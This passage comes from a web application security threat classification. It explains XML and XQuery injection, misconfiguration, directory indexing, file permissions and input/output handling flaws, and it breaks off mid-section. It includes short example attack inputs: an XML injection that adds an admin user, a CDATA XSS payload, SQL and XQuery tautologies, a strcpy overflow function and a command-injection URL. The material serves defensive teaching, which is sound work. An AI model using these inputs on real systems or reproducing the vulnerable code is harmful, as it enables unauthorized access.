XML Injection is an attack technique used to manipulate or compromise the logic of an XML application or service. The injection of unintended XML content and/or structures into an XML message can alter the intend logic of the application. Further, XML injection can cause the insertion of malicious content into the resulting message/document.

An example of XML injection to include insertion of full XML structures:

Consider this example XML document:

```
<?xml version=”1.0” encoding=”ISO-8859-1”?>
<users>
  <user>
        <uname>joepublic</uname>
        <pwd>r3g</pwd>
        <uid>0<uid/>
        <mail>joepublic@example1.com</mail>
  </user>
  <user>
        <uname>janedoe</uname>
        <pwd>an0n</pwd>
        <uid>500<uid/>
        <mail>janedoe@example2.com</mail>
  </user>
</users>
```

If the attacker were to inject the following values for a new user ‘tony’:

```
Username: alice
Password: iluvbob
E-mail:
alice@example3.com</mail></user><user><uname>Hacker</uname><pwd>l33tist</pwd><uid
>0</uid><mail>hacker@exmaple_evil.net</mail>
```

Then the resulting XML document would be:

```
<?xml version=”1.0” encoding=”ISO-8859-1”?>
<users>
  <user>
        <uname>joepublic</uname>
        <pwd>r3g</pwd>
        <uid>0</uid>
        <mail>joepublic@example.com</mail>
  </user>
  <user>
        <uname>janedoe</uname>
        <pwd>an0n</pwd>
        <uid>500</uid>
        <mail>janedoe@example2.hmm</mail>
  </user>
  <user>
        <uname>alice</uname>
        <pwd>iluvbob</pwd>
        <uid>500</uid>

<mail>alice@exmaple3.com</mail></user><user><uname>Hacker</uname><pwd>l33tist</pw
d><uid>0</uid>
            <mail>hacker@exmaple_evil.net</mail>
  </user>
</users>
```

In this example a new user (Hacker) will be inserted into the table with user ID 0. In many cases with XML applications, the second user ID instance will override the

first. This results in the injected new user 'Hacker' being logged in with userid=0 (which often is used as the administrator uid).

Another type of XML injection is where CDATA elements are used to insert malicious content. One example of this is where XML message payloads that contain a CDATA field can be used to inject illegal characters/content that are ignored by the XML parser.

```
<HTML>
<![CDATA[<IMG SRC=http://www.exmaple.com/logo.gif
onmouseover=javascript:alert('Attack');>]]>
</HTML>
```

In this example an XML/HTML application can be exposed to an XSS vulnerability. This state is achieved because the CDATA content is unparsed and therefore will be missed by schema validation based input validation filters.

REFERENCES

Testing for XML Injection – OWASP Testing Guide v2, Open Web Application Security Project (OWASP)

[1] http://www.owasp.org/index.php/Testing_for_XML_Injection

XML injection attack through SOAP based web services, Ravikanth

[2] http://weblogs.asp.net/dvravikanth/archive/2006/01/30/436866.aspx

Threat Protection in a Service Oriented World, Andre Yee NFR Security

[3] http://www.unatekconference.com/images/pdfs/presentations/Yee.pdf

Attacking and Defending Web Services, Pete Lindstrom Spire Security, LLC

[4] http://www.forumsys.com/resources/resources/whitepapers/Attacking_and_Defending_WS.pdf

The SOA/XML Threat Model and New XML/SOA/Web 2.0 Attacks & Threats (Defcon 15), Steve Orrin SSG-SPI Intel Corp.

[5] http://www.safesoa.org/data/dc-15-Orrin-v2.pdf

"Attacking Web Services", Alex Stamos

[6] http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt

XQUERY INJECTION (WASC-46)

XQuery Injection is a variant of the classic SQL injection attack against the XML XQuery Language. XQuery Injection uses improperly validated data that is passed to XQuery commands. This in turn will execute commands on behalf of the attacker that the XQuery routines have access to. XQuery injection can be used to enumerate elements on the victim's environment, inject commands to the local host, or execute queries to remote files and data sources. Like SQL injection attacks, the attacker tunnels through the application entry point to target the resource access layer.

Using the example XML document below, users.xml.

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<userlist>
<user category="group1">
  <uname>jpublic</uname>
  <fname>john</fname>
  <lname>public</lname>
  <status>good</status>
</user>
<user category="admin">
  <uname>jdoe</uname>
  <fname>john</fname>
  <lname>doe</lname>
  <status>good</status>
</user>
<user category="group2">
  <uname>mjane</uname>
  <fname>mary</fname>
  <lname>jane</lname>
  <status>good</status>
</user>
<user category="group1">
  <uname>anormal</uname>
  <fname>abby</fname>
  <lname>normal</lname>
  <status>revoked</status>
</user>
</userlist>
```

An typical Xquery of this document for the user mjane:

```
doc("users.xml")/userlist/user[uname="mjane"]
```

Would return:

```
<user category="group2">
  <uname>mjane</uname>
  <fname>mary</fname>
  <lname>jane</lname>
```

```
  <status>good</status>
</user>
```

Assuming that the XQuery gets its user name string from the input, an attacker can manipulate this query into returning the set of all users. By providing the input string

```
something" or ""="
```

the XQuery becomes:

```
doc("users.xml")/userlist/user[uname="something" or ""=""]
```

Which would return a node-set of all users.

There are many forms of attack that are possible through Xquery and are very difficult to predict. Mitigation of XQuery injection requires proper input validation prior to executing the XQuery. Also it is important to run XML parsing and query infrastructure with minimal privileges so that an attacker is limited in their ability to probe other system resources from XQuery.

REFERENCES

W3C – Xquery 1.0: An XML Query Language

[1] http://www.w3.org/TR/xquery/

W3 Schools – Xquery Tutorial

[2] http://www.w3schools.com/xquery/default.asp

Xquery Injection, Common Attack Pattern Enumeration and Classification (CAPEC)

[3] http://capec.mitre.org/data/definitions/84.html

WEAKNESSES

APPLICATION MISCONFIGURATION (WASC-15)

Application Misconfiguration attacks exploit configuration weaknesses found in web applications. Many applications come with unnecessary and unsafe features, such as debug and QA features, enabled by default. These features may provide a means for a hacker to bypass authentication methods and gain access to sensitive information, perhaps with elevated privileges.

Likewise, default installations may include well-known usernames and passwords, hard-coded backdoor accounts, special access mechanisms, and incorrect permissions set for files accessible through web servers. Default samples may be accessible in production environments. Application-based configuration files that are not properly locked down may reveal clear text connection strings to the database, and default settings in configuration files may not have been set with security in mind. All of these misconfigurations may lead to unauthorized access to sensitive information.

EXAMPLE

The php.ini file includes the expose_php variable that is enabled by default, as follows:

```
expose_php = 'on'
```

This default setting causes the application server to reveal in the server header that a specific version of PHP is being used to process requests. The information revealed may be used to formulate an attack that is specific to the PHP version found.

REFERENCES

"Internet Application Security", By Eran Reshef – Perfecto Technologies

[1] http://www.cgisecurity.com/lib/IAS.pdf

"A Guide to Building Secure Web Applications and Web Services", OWASP

[2] http://www.owasp.org/index.php/Category:OWASP_Guide_Project

"JavaScript Scanning and expose_php=On", PHP Security Blog

[3] http://blog.php-security.org/archives/55-JavaScript-Scanning-and-expose_phpOn.html

See also 'Information Leakage'

[4] http://projects.webappsec.org/Information-Leakage

DIRECTORY INDEXING (WASC-16)

Automatic directory listing/indexing is a web server function that lists all of the files within a requested directory if the normal base file (index.html/home.html/default.htm/default.asp/default.aspx/index.php) is not present. When a user requests the main page of a web site, they normally type in a URL such as: http://www.example.com/directory1/ - using the domain name and excluding a specific file. The web server processes this request and searches the document root directory for the default file name and sends this page to the client. If this page is not present, the web server will dynamically issue a directory listing and send the output to the client. Essentially, this is equivalent to issuing an "ls" (Unix) or "dir" (Windows) command within this directory and showing the results in HTML form. From an attack and countermeasure perspective, it is important to realize that unintended directory listings may be possible due to software vulnerabilities (discussed in the example section below) combined with a specific web request.

BACKGROUND

When a web server reveals a directory's contents, the listing could contain information not intended for public viewing. Often web administrators rely on "Security Through Obscurity" assuming that if there are no hyperlinks to these documents, they will not be found, or no one will look for them. The assumption is incorrect. Today's vulnerability scanners, such as Wikto, can dynamically add additional directories/files to include in their scan based upon data obtained in initial probes. By reviewing the /robots.txt file and/or viewing directory indexing contents, the vulnerability scanner can now interrogate the web server further with these new data. Although potentially harmless, Directory Indexing could allow an information leak that supplies an attacker with the information necessary to launch further attacks against the system.

EXAMPLE REQUEST AND RESPONSE

Client issues a request for – http://www.example.com/admin/ and receives the following dynamic directory indexing content in the response:

```
Index of /admin
Name                    Last modified      Size  Description
---------------------------------------------------------------
Parent Directory                             -
backup/                 31-Mar-2003 08:18    -
Apache/2.0.55 Server at www.example.com Port 80
```

As you can see, the directory index page shows that there is a sub-directory called "backup". There is no direct hyperlink to this directory in the normal html webpages however the client has learned of this directory due to the indexing content. The client then requests the backup directory URL and receives the following output:

```
Index of /admin/backup
Name                    Last modified       Size  Description
Parent Directory        10-Oct-2006 01:20     -
WS_FTP.LOG              18-Jul-2003 14:59     4k
db_dump.php             18-Jul-2003 14:59     2k
dump.txt                28-Jun-2007 20:30    59k
dump_func.php           18-Jul-2003 14:59     5k
restore_db.php          18-Jul-2003 14:59     4k
Apache/2.0.55 Server at www.example.com Port 80
```

As you can see, there is sensitive data within this directory (such as DB dump data) that should not be disclosed to clients. Also note that files such as WS_FTP.LOG can provide directory listing information as this file lists client and server directory content transfer data. An example WS_FTP.LOG file may look like this:

```
101.08.27 17:56 B C:\unzipped\admin\backup\db_dump.php → 192.168.1.195
/public_html/admin/backup db_dump.php
101.08.27 17:56 B C:\unzipped\admin\backup\dump.txt → 192.168.1.195
/public_html/admin/backup dump.txt
101.08.27 17:56 B C:\unzipped\admin\backup\dump_func.php → 192.168.1.195
/public_html/admin/backup dump_func.php
101.08.27 17:56 B C:\unzipped\admin\backup\restore_db.php → 192.168.1.195
/public_html/admin/backup restore_db.php
101.08.27 18:02 B C:\unzipped\admin\backup\db_dump.php → 192.168.1.195
/public_html/admin/backup db_dump.php
```

EXAMPLE INFORMATION DISCLOSED

The following information could be obtained based on directory indexing data:

1. **Backup files** – with extensions such as .bak, .old or .orig
2. **Temporary files** – these are files that are normally purged from the server but for some reason are still available
3. **Hidden files** – with filenames that start with a "." period.
4. **Naming conventions** – an attacker may be able to identify the composition scheme used by the web site to name directories or files. Example: Admin vs. admin, backup vs. back-up, etc...
5. **Enumerate User Accounts** – personal user accounts on a web server often have home directories named after their user account.
6. **Configuration file contents** – these files may contain access control data and have extensions such as .conf, .cfg or .config
7. **Script Contents** – Most web servers allow for executing scripts by either specifying a script location (e.g. /cgi-bin) or by configuring the server to try

and execute files based on file permissions (e.g. the execute bit on *nix systems and the use of the Apache XbitHack directive). Due to these options, if directory indexing of cgi-bin contents are allowed, it is possible to download/review the script code if the permissions are incorrect.

EXAMPLE ATTACK SCENARIOS

There are three different scenarios where an attacker may be able to retrieve an unintended directory listing/index:

6. The web server is mistakenly configured to provide a directory index. Confusion may arise of the net effect when a web administrator is configuring the indexing directives in the configuration file. It is possible to have an undesired result when implementing complex settings, such as wanting to allow directory indexing for a specific sub-directory, while disallowing it on the rest of the server. From the attacker's perspective, the HTTP request is identical to the previous one above. They request a directory and see if they receive the desired content. They are not concerned with or care "why" the web server was configured in this manner.
7. Some components of the web server allow a directory index even if it is disabled within the configuration file or if an index page is present. This is the only valid "exploit" example scenario for directory indexing. There have been numerous vulnerabilities identified on many web servers, which will result in directory indexing if specific HTTP requests are sent.
8. Google' cache database may contain historical data that would include directory indexes from past scans of a specific web site. For specific examples of Google capturing directory index data, please refer to the "Sensitive Directories" section of the Google Hacking Database – http://johnny.ihackstuff.com/ghdb.php?function=summary&cat=6

REFERENCES

Wikto

[1] http://www.sensepost.com/research/wikto/using_wikto.pdf

Directory Indexing Vulnerability Alerts

[2] http://www.securityfocus.com/bid/1063

[3] http://www.securityfocus.com/bid/6721

[4] http://www.securityfocus.com/bid/8898

Nessus "Remote File Access" Plugin Web page

[5] http://cgi.nessus.org/plugins/dump.php3?family=Remote%20file%20access

The Google Hacker's Guide

[6] http://johnny.ihackstuff.com/security/premium/The_Google_Hackers_Guide_v1.0.pdf

Information Leakage

[7] http://projects.webappsec.org/Information-Leakage

Information Leak Through Directory Listing

[8] http://cwe.mitre.org/data/definitions/548.html

IMPROPER FILESYSTEM PERMISSIONS (WASC-17)

Improper filesystem permissions are a threat to the confidentiality, integrity and availability of a web application. The problem arises when incorrect filesystem permissions are set on files, folders, and symbolic links. When improper permissions are set, an attacker may be able to access restricted files or directories and modify or delete their contents. For example, if an anonymous user account has write permission to a file, then an attacker may be able to modify the contents of the file influencing the web application in undesirable ways. An attacker may also exploit improper symlinks to escalate their privileges and/or access unauthorized files; for example, a symlink that points to a directory outside of the web root.

The following are some of the permissions associated with files:

- Read
- Write
- Modify
- Execute
- List Folder Contents
- Traverse Folder
- List Folder
- Read Attributes
- Read Extended Attributes
- Create Files/Write Data
- Create Folders/Append Data
- Write Attributes
- Write Extended Attributes
- Delete Subfolders and Files
- Delete Read Permissions
- Change Permissions
- Take Ownership and Synchronize.

Every file, directory and symlink on the operating system and web server has a set of permissions associated with it.

Web servers use an operating system account to access the resources offered by an underlying filesystem. The operating system account has a set of permissions to access the source code and/or execute server side scripts. When the user's browser requests a file, the web server decides how to serve the file based on the file type and the pre-defined security settings. In the case of a client requesting an HTML file, the web server attempts to load the file from the file system using its OS's system account. Depending on the permissions assigned to the file the web server will either serve the file or return a 403 permission denied error. If the client requests a script (e.g. default.jsp), then the web server will determine the processing engine and allow it to handle the request. If the script file is marked as read only and lacks an executable permission, the web server may directly send the file to the client instead of executing the code within the JSP file.

EXAMPLES

1. The web server account is incorrectly given write access to the server's index file, "default.asp". An attacker accessing the web page may be able to modify the contents of the "default.asp" file.

2. The web server account is incorrectly given access to system files such as password files, password hashes and critical operating system files. An attacker may be able to access and modify those files through the web server, such as when a directory traversal vulnerability is present.

3. The web server account is incorrectly given script source access; an attacker may be able to view the source code of the web application.

REFERENCES

"How to set, view, change, or remove special permissions for files and folders in Windows XP", Microsoft

[1] http://support.microsoft.com/kb/308419

"chattr", Wikipedia

[2] http://en.wikipedia.org/wiki/Chattr

"File System", OWASP

[3] http://www.owasp.org/index.php/File_System

"Improper Handling of Insufficient Permissions or Privileges", CWE

[4] http://cwe.mitre.org/data/definitions/280.html

"Convenience or just bad design?", Saqib Ali

[5] http://seclists.org/webappsec/2006/q3/0052.html

See Also 'Insufficient Authorization'

[6] http://projects.webappsec.org/Insufficient-Authorization

See Also 'Server Misconfiguration'

[7] http://projects.webappsec.org/Server-Misconfiguration

Improper Handling of Insufficient Permissions or Privileges

[8] http://cwe.mitre.org/data/definitions/280.html

IMPROPER INPUT HANDLING (WASC-20)

Improper input handling is one of the most common weaknesses identified across applications today. Poorly handled input is a leading cause behind critical vulnerabilities that exist in systems and applications.

Generally, the term input handing is used to describe functions like validation, sanitization, filtering, encoding and/or decoding of input data. Applications receive input from various sources including human users, software agents (browsers), and network/peripheral devices to name a few. In the case of web applications, input can be transferred in various formats (name value pairs, JSON, SOAP, etc...) and obtained via URL query strings, POST data, HTTP headers, Cookies, etc... Non-web application input can be obtained via application variables, environment variables, the registry, configuration files, etc... Regardless of the data format or source/location of the input, all input should be considered untrusted and potentially malicious. Applications which process untrusted input may become vulnerable to attacks such as Buffer Overflows, SQL Injection, OS Commanding, Denial of Service just to name a few.

IMPROPER INPUT VALIDATION

One of the key aspects of input handling is validating that the input satisfies a certain criteria. For proper validation, it is important to identify the form and type of data that is acceptable and expected by the application. Defining an expected format and usage of each instance of untrusted input is required to accurately define restrictions.

Validation can include checks for type safety and correct syntax. String input can be checked for length (min & max number of characters) and character set validation while numeric input types like integers and decimals can be validated against acceptable upper and lower bound of values. When combining input from multiple sources, validation should be performed during concatenation and not just against the individual data elements. This practice helps avoid situations where input validation may succeed when performed on individual data items but fails when done on a combined set from all the sources [11].

CLIENT-SIDE VS SERVER-SIDE VALIDATION

A common mistake most developers make is to include validation routines in the client-side of an application using JavaScript functions as a sole means to perform bound checking. Validation routines are beneficial on the client side but are not intended to provide a security feature as all data accessible on the client side is modifiable by a malicious user or attacker. This is true of any client-side validation checks in JavaScript and VBScript or external browser plug-ins such as Flash, Java, or ActiveX. The HTML5 specification has added a new attribute "pattern" to the INPUT tag that enables developers to write regular expressions as part of the markup for performing validations [29]. This makes it even more convenient for developers to perform input validation on the client side without having to write any extra code. The risk from such a feature becomes significant when developers start using it as the only means of performing input validation for their applications. Relying on client-side validation alone in not a safe practice. It gives a false sense of security to many developers since client-side validations can easily be evaded by malicious entities. It is important to note that while client-side validation is great for UI and functional validation, it isn't a substitute for server-side validation. Performing validation on the server side ensures integrity of your validation controls. In addition, the server-side validation routine will always be effective irrespective of the state of JavaScript execution on the browser. As a best practice input validation should be performed both on the client side as well as on the server side.

IMPROPER INPUT SANITIZATION AND FILTERING

Sanitization of input deals with transforming input to an acceptable form where as filtering deals with blocking/allowing all or part of input that is deemed unacceptable/acceptable respectively. Sanitization and filtering typically is implemented in addition to input validation.

Weak sanitization and/or filtering can lead an attacker to evade such mechanisms and supply malformed and/or malicious input to the application. The "attacks"

section of this document describes SQL Injection and Buffer Overflow attacks which are a direct effect of missing or weak filtering/sanitization.

INPUT SANITIZATION

Input sanitization can be performed by transforming input from its original form to an acceptable form via encoding or decoding. Common encoding methods used in web applications include the HTML entity encoding and URL Encoding schemes. HTML entity encoding serves the need for encoding literal representations of certain meta-characters to their corresponding character entity references.

Character references for HTML entities are pre-defined and have the format &NAME; where "name" is a case-sensitive alphanumeric string. A common example of HTML entity encoding is where "<" is encoded as < and ">" encoded as > . Refer to [1] for more information on character encodings. URL encoding applies to parameters and their associated values that are transmitted as part of HTTP query strings. Likewise, characters that are not permitted in URLs are represented using their Unicode Character Set code point value, where each byte is encoded in hexadecimal as "%HH". For example, "<" is URL-encoded as "%3C" and "ÿ" is URL-encoded as "%C3%BF".

There are many ways in which input can be presented to an application. With web applications and browsers supporting more than one character encoding types, it has become a common place for attackers to try and exploit inherent weaknesses in encoding and decoding routines. Applications requiring internationalization are a good candidate for input sanitization. One of the common forms of representing international characters is UNICODE [18]. Unicode transformations use the UCS (Universal Character Set) which consist of a large set of characters to cover symbols of almost all the languages in the world. The table below, taken from [21], shows a set of samples with different characters from UCS that are visually similar in representation to ASCII characters "s", "o", "u" and "p". From the most novice personal computer user to the most seasoned security expert, rarely does an individual inspect every character within a Unicode string to confirm its validity. Such misrepresentation of characters enables attackers to spoof expected values by replacing them with visually or semantically similar characters from the UCS.

S	s	s	S	S	S	ƨ
0073	FF53	0455	10BD	FF33	0405	03E8
o	o	o	o	o	0	o
006F	03BF	043E	FF4F	00BA	FFB7	047B

u	⊔	ᴜ	∪	∪	IJ	u̟
0075	2294	03C5	22C3	222A	0132	1E75
p	p	ᵖ	ᵽ	ρ	ק	P
0070	0440	FF50	01BF	03C1	05E7	0420

Note that although the characters have a similar visual representation, they all carry a different hexadecimal code that uniquely maps to UCS. Additional information on character encoding types and output handling can be found at [22].

CANONICALIZATION

Canonicalization is another important aspect of input sanitization [20]. Canonicalization deals with converting data with various possible representations into a standard "canonical" representation deemed acceptable by the application. One of the most commonly known application of canonicalization is "Path Canonicalization" where file and directory paths on computer file systems or web servers (URL) are canonicalized to enforce access restrictions. Failure of such canonicalization mechanism can lead to directory traversal or path traversal attacks [24]. The concept of canonicalization is widely applicable and applies equally well to Unicode and XML processing routines.

The first major Unicode vulnerability was documented against Microsoft Internet Information Server (IIS) in October 2000 [12]. This vulnerability allowed attackers to encode "/", "\" and "." characters to appear as their Unicode counterparts and bypass the security mechanisms within IIS that block directory traversal. In another example, a vulnerability discovered in Google perfectly illustrates the significance of character encoding [13]. The vulnerability stated in this example exploits lack of consistency in character encoding schemes across the application. While expecting UTF-8 [14] encoded characters, the application fails to sanitize and transform input supplied in the form on UTF-7 [15] leading to a Cross-site scripting attack. Additional examples can be found at [16] and [17]. As mentioned earlier, applications that are internationalized have a need to support multiple languages that cannot be represented using common ISO-8859-1 (Latin-1) character encoding. Languages like Chinese, Japanese use thousands of characters and are therefore represented using variable-width encoding schemes [18]. Improperly handled mapping and encoding of such international characters can also lead to canonicalization attacks [19].

Based on input and output handling requirements, applications should identify acceptable character sets and implement custom sanitization routines to process and transform data specific to their needs. Additional information on outputting data in international applications can be found at [22].

INPUT FILTERING

Input Filtering is a decision making process that leads either to the acceptance or the rejection of input based on predefined criteria. In its most basic form, input filtering deals with matching or comparing an input data stream with a predefined set of characters to determine acceptability. Acceptable input is passed forward for processing and unwanted characters are blocked thus preventing the application from processing unrecognized and potentially malicious input. There are two major approaches to input filtering [2]:

- Whitelist – Allowing *only* the *known good characters*. E.g. a-z,A-Z,0-9 are known good characters in the whitelist and are hence accepted by the filter
- Blacklist – Allowing *anything except* the *known bad characters*. E.g. <,/,> are known bad characters in the blacklist and are hence blocked by the filter

There are advantages and disadvantages to both approaches. Blacklist based filtering is widely used as it is fairly easy to implement, but offers protection only from known threats. Characters in a blacklist can be modeled to evade filtering as the filter only blocks known bad characters; an attacker can specially craft an attack to avoid those specific characters. Researchers have demonstrated several ways of evading blacklist based filtering approaches. The XSS cheat sheet [7] and SQL cheat sheet [8] are classic examples of how filter evasion techniques can be used against blacklist based approaches. Both Mitre [9] and NVD [10] host several advisories describing vulnerabilities due to poor blacklist filtering implementations.

Whitelist based filtering is often more difficult to implement properly. Although proven efficient with virus and malware protection techniques, it can be difficult to compile a list of all good input that a system can accept.

Input validation, sanitization and filtering requirements apply equally to elements beyond web application code. Web application infrastructure components like web servers and proxies that handle web application requests and responses have been shown to be vulnerable to attacks caused due to weak input validation of HTTP request/response headers. Some examples include HTTP Response Splitting [25], HTTP Request Smuggling [26], etc...

A common approach to perform input filtering, validation and sanitization is through the use of a regex (Regular Expressions) [23]. Regular Expressions provide a concise and flexible means of identifying patterns in a given data set. Many ready-made regular expressions that deal with common input/output related attacks such as SQL Injection [4], OS Commanding [5] and Cross-Site Scripting [27] are available on the Internet. While these regular expressions may be simple to copy into an application, it is important for developers using them to ensure they are evaluating the requirements for their expected input streams.

Commercial companies like Microsoft and open source communities like OWASP have ongoing efforts to provide protection tools against some of the common attacks mentioned above. Microsoft's Anti Cross-Site Scripting Library [28] not only

guides its users and developers with putting measures in place to thwart cross-site scripting attacks, but also provides insight into alternatives for proper input and output encoding where its library routines may not apply. OWASP's ESAPI project [6] provides guidelines and primary defenses against SQL Injection attacks. It also provides details on database specific SQL escaping requirements to help escape/encode user input before concatenating it with a SQL query. SQL escaping, as advocated in EASPI, uses DBMS character escaping schemes to convert input that can be characterized by the SQL engine as data instead of code.

COMMON EXAMPLES OF ATTACKS DUE TO IMPROPER INPUT HANDLING

BUFFER OVERFLOW

The length of the source variable `input` is not validated before being copied to the destination `dest_buffer`. The weakness is exploited when the size of `input` (source) exceeds the size of the `dest_buffer`(destination) causing an overflow of the destination variable's address in memory.

```
Void bad_function(char *input)
{
char dest_buffer[32];
strcpy(dest_buffer, input);
printf("The first command line argument is %s.\n", dest_buffer);
}
int main(int argc, char *argv[])
{
if (argc > 1)
{
bad_function(argv[1]);
}
else
{
printf("No command line argument was given.\n");
}
return 0;
}
```

See [3] for more on this and similar attacks.

SQL INJECTION

The sample code below shows a SQL query used by a web application authentication form.

```
SQLCommand = "SELECT Username FROM Users WHERE Username = '"
SQLCommand = SQLComand & strUsername
SQLCommand = SQLComand & "' AND Password = '"
SQLCommand = SQLComand & strPassword
SQLCommand = SQLComand & "'"
strAuthCheck = GetQueryResult(SQLQuery)
```

In this code, the developer combines the input from the user, `strUserName` and `strPassword`, with the existing SQL statement's structure. Suppose an attacker submits a login and password that looks like the following:

```
Username: foo
Password: bar' OR ''='
```

The SQL command string built from this input would be as follows:

```
SELECT Username FROM Users WHERE Username = 'foo'
AND Password = 'bar' OR ''=''
```

This query will return all rows from the user's database, regardless of whether "foo" is a real user name or "bar" is a legitimate password. This is due to the OR statement appended to the WHERE clause. The comparison ''='' will always return a "true" result, making the overall WHERE clause evaluate to true for all rows in the table. If this is used for authentication purposes, the attacker will often be logged in as the first or last user in the Users table.

See [4] for more information on this and other variants of SQL Injection attack

OS COMMANDING

OS Commanding (command injection) is an attack technique used for unauthorized execution of operating system commands. Improperly handled input from the user is one of the common weaknesses that can be exploited to run unauthorized commands. Consider a web application exposing a function showInfo() that accepts parameters `name` and `template` from the user and opens a file based on this input

Example:

```
http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt
```

Due to improper or non-existent input handling, by changing the template parameter value an attacker can trick the web application into executing the command /bin/ls or open arbitrary files.

Attack Example:

```
http://example/cgi-bin/showInfo.pl?name=John&template=/bin/ls|
```

See [5] for more on this and other variants of OS commanding or Command Injection attack.

REFERENCES

Character encodings in HTML

[1] http://en.wikipedia.org/wiki/Character_encodings_in_HTML

Secure input and output handling

[2] http://en.wikipedia.org/wiki/Secure_input_and_output_handling

Buffer Overflow

[3] http://projects.webappsec.org/Buffer-Overflow

SQL Injection

[4] http://projects.webappsec.org/SQL-Injection

OS Commanding

[5] http://projects.webappsec.org/OS-Commanding

OWASP ESAPI

[6] http://www.owasp.org/index.php/ESAPI

XSS Cheat Sheet

[7] http://ha.ckers.org/xss.html

SQL Cheat Sheet

[8] http://ha.ckers.org/sqlinjection/

CVE at Mitre

[9] http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=blacklist

National Vulnerability Database

[10] http://nvd.nist.gov/

CWE-20: Improper Input Validation

[11] http://cwe.mitre.org/data/definitions/20.html

Microsoft IIS Extended Unicode Directory Traversal Vulnerability

[12] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0884

Google XSS Vulnerability

[13] http://shiflett.org/blog/2005/dec/googles-xss-vulnerability

Unicode/UTF-8

[14] http://en.wikipedia.org/wiki/UTF-8

Unicode/UTF-7

[15] http://en.wikipedia.org/wiki/UTF-7

Widescale Unicode Encoding Implementation Flaw Discovered

[16] http://www.cgisecurity.com/2007/05/widescale-unico.html

Unicode Left/Right Pointing Double Angel Quotation Mark

[17]http://jeremiahgrossman.blogspot.com/2009/06/results-unicode-leftright-pointing.html

Variable width encoding schemes

[18] http://en.wikipedia.org/wiki/Variable-width_encoding

Canonicalization, locale and Unicode

[19] http://www.owasp.org/index.php/Canoncalization,_locale_and_Unicode

Canonicalization

[20] http://en.wikipedia.org/wiki/Canonicalization

The Methodology and an application to fight against Unicode attacks

[21] http://cups.cs.cmu.edu/soups/2006/proceedings/p91_fu.pdf

Improper Output Handling

[22] http://projects.webappsec.org/Improper-Output-Handling

Regular Expressions

[23] http://en.wikipedia.org/wiki/Regular_expression

Path Traversal

[24] http://projects.webappsec.org/Path-Traversal

HTTP Response Splitting

[25] http://projects.webappsec.org/HTTP-Response-Splitting

HTTP Request Smuggling

[26] http://projects.webappsec.org/HTTP-Request-Smuggling

Cross Site Scripting

[27] http://projects.webappsec.org/Cross-Site-Scripting

Microsoft Anti-Cross Site Scripting Library V3.0

[28] http://www.microsoft.com/downloads/details.aspx?FamilyId=051ee83c-5ccf-48ed-8463-02f56a6bfc09&displaylang=en

HTML 5 "pattern" attribute

[29] http://www.w3.org/TR/html5/forms.html#the-pattern-attribute

IMPROPER OUTPUT HANDLING (WASC-22)

Output handling refers to how an application generates outgoing data. If an application has improper output handling, the output data may be consumed leading to vulnerabilities and actions never intended by the application developer. In many cases, this unintended interpretation is classified as one or more forms of critical application vulnerabilities.

Any location where data leaves an application boundary may be subject to improper output handling. Application boundaries exist where data leaves one context and enters another. This includes applications passing data to other applications via web services, sockets, command line, environmental variables, etc... It also includes passing data between tiers within an application architecture, such as a database, directory server, HTML/JavaScript interpreter (browser), or operating system. More detail on where improper output handling can occur can be found in the section below titled "Common Data Output Locations".

Improper output handling may take various forms within an application. These forms can be categorized into: protocol errors, application errors and data consumer related errors. Protocol errors include missing or improper output encoding or escaping and outputting of invalid data. Application errors include logic errors such as outputting incorrect data or passing on malicious content unfiltered. If the application does not properly distinguish legitimate content from illegitimate, or does not work around known vulnerabilities in the data consumer, it may result in data-consumer abuse caused from improper output handling.

An application that does not provide data in the correct context may allow an attacker to abuse the data consumer. This can lead to specific threats referenced within the WASC Threat Classification, including Content Spoofing [6], Cross-Site Scripting [7], HTTP Response Splitting [8], HTTP Response Smuggling [9], LDAP Injection [10], OS Commanding [11], Routing Detour [12], Soap Array Abuse [13], URL Redirector [14], XML Injection [15], XQuery Injection [16], XPath Injection [17], Mail Command Injection [18], Null Injection [19] and SQL Injection [20].

Proper output handling prevents the unexpected or unintended interpretation of data by the consumer. To achieve this objective, developers must understand the application's data model, how the data will be consumed by other portions of the application, and how it will ultimately be presented to the user. Techniques for ensuring the proper handling of output include but are not limited to the filtering and sanitization of data (more detail on output sanitization and filtering can be found in appropriately titled sections below). However, inconsistent use of selected output handling techniques may actually increase the risk of improper output handling if output data is overlooked or left untreated. To ensure "defense in depth" developers must assume that all data within an application is untrusted when choosing appropriate output handling strategies.

While proper output handling may take many different forms, an application cannot be secure unless it protects against unintended interpretations by the data consumer. This core requirement is essential for an application to securely handle output operations.

Common Data Output Locations

Depending on the location that user controllable output is placed, various attacks can be executed. OWASP has a Cheat Sheet [4] outlining mitigations at the various stages of output. Listed below are several of the most common data output locations.

Inside HTTP Headers

HTTP headers exist in both the HTTP Request and HTTP Response and define various characteristics of the client and the requested resource. Attacks against HTTP headers typically involve the injection of Carriage Return/Line Feeds (CR/LF) in order to change the HTTP message structure. By changing the message structure it is possible to abuse both clients (e.g. browsers), and servers (application servers, proxies, and web servers). Notable attacks include HTTP Response Splitting [8], HTTP Response Smuggling [9], and URL Redirector Abuse [14].

Inside HTML Tags

Text between HTML tags, in the form <tag>**text**</tag>, is usually treated by the browser as text to be displayed to the user. If data is included in this text and is not properly escaped, the data may be unintentionally treated as HTML markup and lead to vulnerabilities. Data reflected into tags such as <script> and <style>require additional care to prevent the introduction of additional vulnerabilities. Notable attacks include Cross-Site Scripting [7], Cross-Site Request Forgery [25], and Content Spoofing [6].

Inside HTML Attributes

Tag attribute content, in the form <tag attr="**text**">, is another common insertion point for application data in web applications. HTML attribute data always requires escaping to avoid the data being inadvertently treated as HTML markup. Many attributes have special meaning and require additional attention to avoid introducing vulnerabilities. For example the "href" attribute, even if properly encoded will be treated as a script if it starts with "javascript:" (e.g link). The "href", image "src", form "action", and other URL attributes may also be exploited to create cross-site-request-forgery attacks. The Web Application Security Consortium's Script Mapping Project [21] was created in an attempt to map out the script execution behaviors of particular HTML attributes. Notable attacks include Cross-Site Scripting [7], Cross-Site Request Forgery [25], and Content Spoofing [6].

Inside Client-side Script

